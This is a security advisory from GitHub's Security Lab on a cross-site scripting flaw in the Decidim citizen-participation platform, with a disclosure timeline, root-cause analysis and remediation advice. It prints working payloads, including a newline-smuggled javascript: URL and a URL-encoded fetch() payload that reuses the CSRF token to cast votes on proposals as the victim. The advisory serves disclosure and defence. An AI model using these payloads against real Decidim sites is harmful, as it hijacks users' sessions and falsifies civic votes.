Coordinated Disclosure Timeline
- 2023-01-17: Report sent to the Decidim team.
- 2023-01-18: Decidim confirms reception of the report.
- 2023-03-14: Draft advisory and an initial fix were created by the Decidim team.
- 2023-03-21: Fix was incomplete and could be circumvented, so the Security Lab added a comment in the draft advisory on GitHub.
- 2023-05-11: New Decidim releases were published that fix this and other security vulnerabilities.
- 2023-07-28: A blog post is released by the GitHub Security Lab with more details about this vulnerability.
Summary
Decidim, a platform for digital citizen participation, has an external link feature which was vulnerable to Cross-site scripting (XSS). This would have allowed attackers to perform actions on behalf of logged-in users, potentially tricking citizens to support proposals without their consent.
Product
Decidim
Tested Version
Details
Cross-site scripting in external link feature (GHSL-2023-006
)
The external link feature of Decidim was vulnerable to Cross-site scripting (XSS). The external link feature of Decidim warns users before visiting a so-called external website. The feature displays the URL to the user and highlights the hostname of the external web page. The actual link that the user will click on is directly coming from a GET parameter. The submitted URL is validated against the following regular expression (Regex) in the LinksController:
parts = external_url.match %r{^(([a-z]+):)?//([^/]+)(/.*)?$}
This Regex splits the given URL in multiple parts and makes sure the URL contains two forward slashes /
. This prevents the direct injection of a working JavaScript URL, since the two-slash requirement transforms the code that follows into a comment.
Unfortunately, in contrast to other programming languages the default Regex matching mode of Ruby is multi-line. So, the Regex shown above has to match on one line only. If we can smuggle additional lines through these code areas, we can still render a JavaScript URL in the resulting HTML page. This payload would look like this:
javascript:alert(document.location.host)//%0ahttps://securitylab.github.com
The %0a
character marks the required newline for the payload to be smuggled through. The additional forward slashes before the new line are used to comment out everything coming afterwards from the perspective of the leading JavaScript payload. Since the full payload is matched by the Regex shown above and the parts of its output are later used to display the URL to the user, the actual URL displayed to the user is the part after the new line (https://securitylab.github.com
in this sample). Accordingly, the emphasized host is securitylab.github.com
. If a Decidim user clicks on this link using the “Proceed” button the JavaScript is executed in context of the actual website. This means the attacker can use the logged-in user to perform actions on their behalf. The combined URL an attacker could use would look like this:
https://<decidim-host>/link?external_url=javascript:alert(document.location.host)//%0ahttps://securitylab.github.com
This vulnerability was found using CodeQL’s reflected cross-site scripting query for Ruby.
Manipulating votes: A more advanced attack scenario
An attacker could use this vulnerability to make other users endorse or support proposals they have no intention of supporting or endorsing. A sample JavaScript code snippet to let a user support a specific proposal could look like this:
fetch("/processes/consequuntur-aperiam/f/12/proposals/8/proposal_vote",
{
"headers":
{
"x-csrf-token": document.querySelector('[name="csrf-token"]').getAttribute("content"),
"x-requested-with": "XMLHttpRequest"
},
"method": "POST",
"mode": "cors",
"credentials": "include"
}
)
This JavaScript snippet extracts the CSRF-token from the current DOM and uses it to create a POST request to the Decidim proposal with the given URL. For this it uses the Fetch API supported by all modern browsers.
If we URL encode this payload it looks like this:
javascript:fetch%28%22%2Fprocesses%2Fconsequuntur%2Daperiam%2Ff%2F12%2Fproposals%2F8%2Fproposal%5Fvote%22%2C%20%7B%22headers%22%3A%7B%22x%2Dcsrf%2Dtoken%22%3Adocument%2EquerySelectorAll%28%27%5Bname%3D%22csrf%2Dtoken%22%5D%27%29%5B0%5D%2EgetAttribute%28%22content%22%29%2C%22x%2Drequested%2Dwith%22%3A%20%22XMLHttpRequest%22%7D%2C%22method%22%3A%20%22POST%22%2C%22mode%22%3A%20%22cors%22%2C%22credentials%22%3A%20%22include%22%7D%29//%0ahttps://securitylab.github.com
The attacker could post a link with such a Javascript URL as a comment or as part of a proposal. If the WYSIWYG editor is enabled on the Decidim instance under attack the user could even use the link feature to better hide the, admittedly long and strange looking, link. In addition to that, such links could be distributed via email to specifically target certain individuals (This works as long as the user is logged in into the Decidim instance).
Impact
This issue could have allowed attackers to perform actions on behalf of logged-in users such as voting on proposals via Cross-site scripting (XSS).
Remediation
A generic remediation advice for this and similar cases would be:
- Parse the URI using a library and verify with an allow list that only URIs with
http
andhttps
protocols are passed to the “link_to” helper. (for example, by checking the scheme withURI.parse(uri).scheme
). - Fix the URL regex to use string anchors (
\A
and\z
) instead of line anchors (^
and$
). - Additionally, a Content Security Policy (CSP) can be created that disallows inlined JavaScripts. (Other parts of the application typically need modification to continue functioning.)
Resources
- CodeQL: Missing regular expression anchor
- Content security policy
- Ruby Security: Regular expressions
CVE
- CVE-2023-32693
Credit
This issue was discovered and reported by GHSL team member @p- (Peter Stöckli).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-006
in any communication regarding this issue.